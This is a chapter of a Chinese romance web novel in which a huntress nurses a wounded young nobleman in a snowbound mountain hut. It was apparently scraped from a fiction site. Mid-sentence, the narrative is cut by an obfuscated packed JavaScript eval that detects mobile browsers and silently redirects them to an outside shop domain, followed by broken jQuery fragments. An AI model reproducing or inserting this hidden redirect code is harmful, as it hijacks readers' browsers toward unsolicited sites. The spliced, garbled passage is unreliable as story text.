文趣网 > 其他小说 > 猎户女与醋缸世子 > 5. 话唠和木头
    昧旦之时,顾简兮正偷偷潜上山。谢璟却一夜忽冷忽热,熬到天光将亮未亮,终于迷迷糊糊醒了。

    他渴得厉害,隐隐约约想起昨夜也是这般干渴时,似有人喂了他水喝。凝神注意了一下周围的动静,只听屋外风声啸啸,屋内却没有人声。

    “她走了么?”谢璟心下一阵失落,随即想到自己竟莫名其妙有所期待,又涌起一股淡淡的自厌。

    他挣扎着想爬起来,低头看到身上已经换过的衣服,愣了一下。一个什么东西的影子朝他扑来,一条咸湿的舌头不由分说直朝他脸上舔。

    谢璟定睛一看,又是昨夜那条大黄狗。

    它正十分亲热的直立在床边,两只爪子趴着床缘,眼神十分讨好地盯着他,嘴里伸出长长的舌头,半分不见外的朝他袭来。

    谢璟却想,她昨夜命都不要的护着这只大黄狗,绝不可能把它扔下,所以她没走吗?

    但屋内没有人。

    窗户只开了一个小缝,室内不十分冷,像是有人昨夜留了满满一火塘子炭火,尽量使这个小小的茅屋更温暖些。

    谢璟皱了皱眉,到底伤太重,身体也太虚弱。他本欲挡住大黄狗的手,轻轻垂下,像是要抚摸它似的。

    大黄狗会错了意,呼的一个使劲,蹦上床来,不住的舔谢璟的手。谢璟想甩开它,一动,全身都疼,紧接着头又是一阵晕眩,干脆任自己昏睡过去。

    大黄狗见谢璟没了动静,嘴里不停低呜着。刚才那一蹦,它自己也撕裂了伤口,干脆也不动弹了,窝在男人身边,乖乖的守着他。

    天空飘着细细雪粒,风一吹,雾似的左右摇摆。

    顾简兮一边快速朝深山走,一边拿松枝扫除自己的脚印。

    谢璟正是听到屋外的动静再次醒过来。

    只听小屋门吱呀一声开了,跟着进来一阵冷风,就听见一个人轻手轻脚迈步进屋、再把门关好的声音。然后她停在屋中,窸窸窣窣地声音陆续传来,像是在放置随身带来的东西。

    那只大黄狗早跳下床去迎她了,狗嘴里又是一阵呜呜的低嚎。

    谢璟心里忍不住想,怎的这只狗如此多戏。

    他却不知何样的人养何样的狗的道理。

    接着就听见脚步声朝床边来了。

    谢璟心微微跳,眼皮也跟着抖动,他索性闭上了眼睛。

    天光已是大亮,窗外鹅毛大雪。

    顾简兮来到床边一看,床上的男人还躺着,脸色倒是比昨夜强不少。

    白日里他的五官更清晰了,一张脸像老天爷用刀工雕刻出来似的。顾简兮忍不住坐在床边,一只手托着下巴,愣神看了一会,脑子里努力在想一个词语。想了好一会,终于确定那个词叫“浑然天成”,她重重点了点头。

    接着她拢起双手,凑到嘴前呼了几口热气,又搓了搓,待手上暖和了,才伸手往男人额头上探。

    “这是好些了。”顾简兮喃喃说着,放下心来。这男人身体底子真好,昨夜热成那样,只喝了伤药,竟也熬过来了。

    谢璟感觉额头上的手温暖、柔软,且知道落在自己身上的视线停留了许久。

    他更不知该作何反应才好。最后,眼皮抬了又抬,终是睁开了眼睛。

    这一睁眼,吓了他一跳。

    只见眼前少女巴掌大的脸上,长满了大痦子,一双眼还是昨晚那一双杏眼,眼神还是清澈如繁星,但这张脸叫人看了实在触目惊心。

    这姑娘昨晚还如花似玉,怎的一夜之间得了天花?

    也罢,总之眼前的少女,救了他的命。

    顾简兮看男人醒过来,似要从床上起来,伸手想去扶他,又想起昨夜给他换了贴身衣物,脸腾一下红了,收回了手。略略顿一下,转成帮他垫高身后的枕头。

    谢璟稍稍坐起身,靠在床头。

    “你怎么样了?”顾简兮问。

    “好多了,多谢。”

    一阵沉默。

    他似乎话很少。顾简兮也不知道要说点什么。想到带到山上来的吃食和药材,她站起身,“我去给你和大黄弄点吃的,你再靠着休息会罢。”

    顾简兮去火塘子那边生了火。

    娘亲做了不少年节吃食,她装了许多上山,对付两天是足够了。

    想到昨夜那拨大魏军官,顾简兮转头看看床上的男人。他会是大晋的东王爷萧穆吗?她对他的身份实在好奇,又不知道如何开口。

    把食盒里的吃食放到锅里煮,她还是转头道:

    “昨晚看你睡着了,我夜里头下山去了。村里来了一大帮子大魏官兵,正挨家挨户搜捕什么人。”

    她一边说,一边偷偷观察床上男人的反应。

    谢璟在床上听到少女的话,眉头只轻轻皱了一下,便很快恢复了如常神色。

    顾简兮见他也不接话,继续说到:

    “这屋子是我阿爹秋天打猎歇脚的地儿,外头的人一时半会找不上来,但你伤势颇重,这里连药方子都没有,我只能拿些家里剩的药材,将就治一治你身上的伤。”

    顾简兮犹豫了一下,终是没说别的。心里却想着,他若跟大晋的东王爷萧穆有什么关系,还是尽快离开的好,她一家小老百姓,只想平平安安过日子,可别因为她多事,给家里惹来什么祸事。

    谢璟当然知晓她在担心什么。

    想不到拓跋铖的人来得这么快,到底还是没有甩掉他们。不过既然追踪的主力来了这边,那阿琛他们应是安全了。

    山下是去不得的,去了更会连累这姑娘一家。

    罢了,且在这里修养个两三日,待和阿琛联系上,再作打算离开吧。等回了王府,遣启明携厚礼悄悄拜谢这姑娘一家,也算报答她的救命之恩。

    “你可有家人?可有办法联络他们?你这重伤,怕是要人照应着。”顾简兮觉得自己简直是在和一棵木头说话。

    聒噪。谢璟双手按住脑门,又揉了揉。

    顾简兮只当他是伤病难受,不愿说话。

    谁知过了片刻,只听床上的人缓缓道:

    “我家中世代经营镇远镖局。走镖遇歹人惦记,追了我们三天三夜。承姑娘相救,日后定当报答。”他声音还是沙哑,但相比昨夜又好了许多。

    “嗯。”顾简兮愣了一下,脑中浮现出昨夜那群黑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644565|206755||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    衣人追杀他的画面。

    真的是走镖吗?那群黑衣人如此狠戾,他压的到底是什么贵重东西?

    要是他说的是真的,那倒是正紧营生,跟山下的大魏官兵也没有关系。

    顾简兮心里将信将疑,面上却没有说话。

    她打来一些热乎水,把昨夜的帕子放水里,又拧了拧,准备给床上的男人擦擦脸。

    谢璟却将脸别到一边,脸色渐渐变得有了血色,但这血色十分可疑。

    “昨夜是你帮我换的衣服?”谢璟问。

    顾简兮脸刷的红了,这叫她怎么答?她一个姑娘家,都没说什么。

    “嗯。”她把帕子塞给他,走开了。

    谢璟看她走开,拿起帕子擦脸,这一动,脸也疼,手的动作牵扯到胸前斜长狰狞的伤口,疼得他眉心紧皱。

    他好不容易收拾完,想去收拾帕子和木盆,刚挣扎着想直起身子,身上那些伤口就全部牵动了——竟伤得如此重,只能卧床静养。

    他看向屋里那少女,见她坐在火塘前的墩子上,一只手手肘支在腿上,手掌托着下巴,正好整以暇地看着他,仿佛料到他会这般模样。

    那双杏眼发着狡黠的光芒,却又一派天真。

    谢璟隐约感觉自己被这姑娘记恨上哪处不是了,又说不上来到底为的什么,一时感到胸口气闷得紧。

    顾简兮见锅里汤饼已经煮得差不多了,又从带来的木头节子里勺出一些膔肉酱来做面条的浇头。想到这位王公子受伤过重,才又发过热,口头不能吃重了,所以也没勺太多,就是图个香气。

    谢璟却早就闻到满屋子飘散的香气了。

    他被黑衣人追了三天三夜,几乎一口吃食也没进过肚子。退了热之后,肚子渐渐感觉到饿,这会闻到香味,只觉得肚子里饥肠辘辘。

    屋里这香气他从没闻到过一样味的,也不知道那姑娘在做什么吃食,一点素面清香中夹杂着浓郁肉香,着实让他更加饿了。

    那只大黄狗更甚,自从这姑娘进了屋子,它就一直贴在她身边,此刻一人一狗,都专注的盯着锅里的吃食。姑娘在看火候,那只大黄狗,却是狗嘴里留着口水,眼都不眨地盯着锅里的肉沫子。

    顾简兮过来收拾了木盆子,想到自己这一路上山,也没好好洗个脸,就趁着洗手准备盛汤饼的功夫,顺手好好洗了把脸。

    她已经完全忘了自己昨晚脸上画了大痦子的事,这一洗,痦子也被洗掉了。

    等她收拾完,盛了汤饼端到谢璟床边,谢璟再看向她时,又被吓了一跳。

    眼前的少女,一双杏眼双瞳剪水,顾盼生辉,巴掌大的小脸光洁明亮,因为常年在山上打猎身体尤为康健,她白皙的皮肤透出淡淡的粉。

    这相貌,倒生生使冬日的天地也跟着明亮起来。谢璟瞬间想到“蓬荜生辉”这四个字,用在此时的小屋里,实在应景得很。

    顾简兮见床上那人愣神盯着自己的脸,一双杏眼疑惑的看着他。

    “你的脸?”谢璟目光微凝。

    窗外风雪呼啸,他却似听到冰销泉脉动的声响,与山下隐隐约约的马嘶一样,若有若无。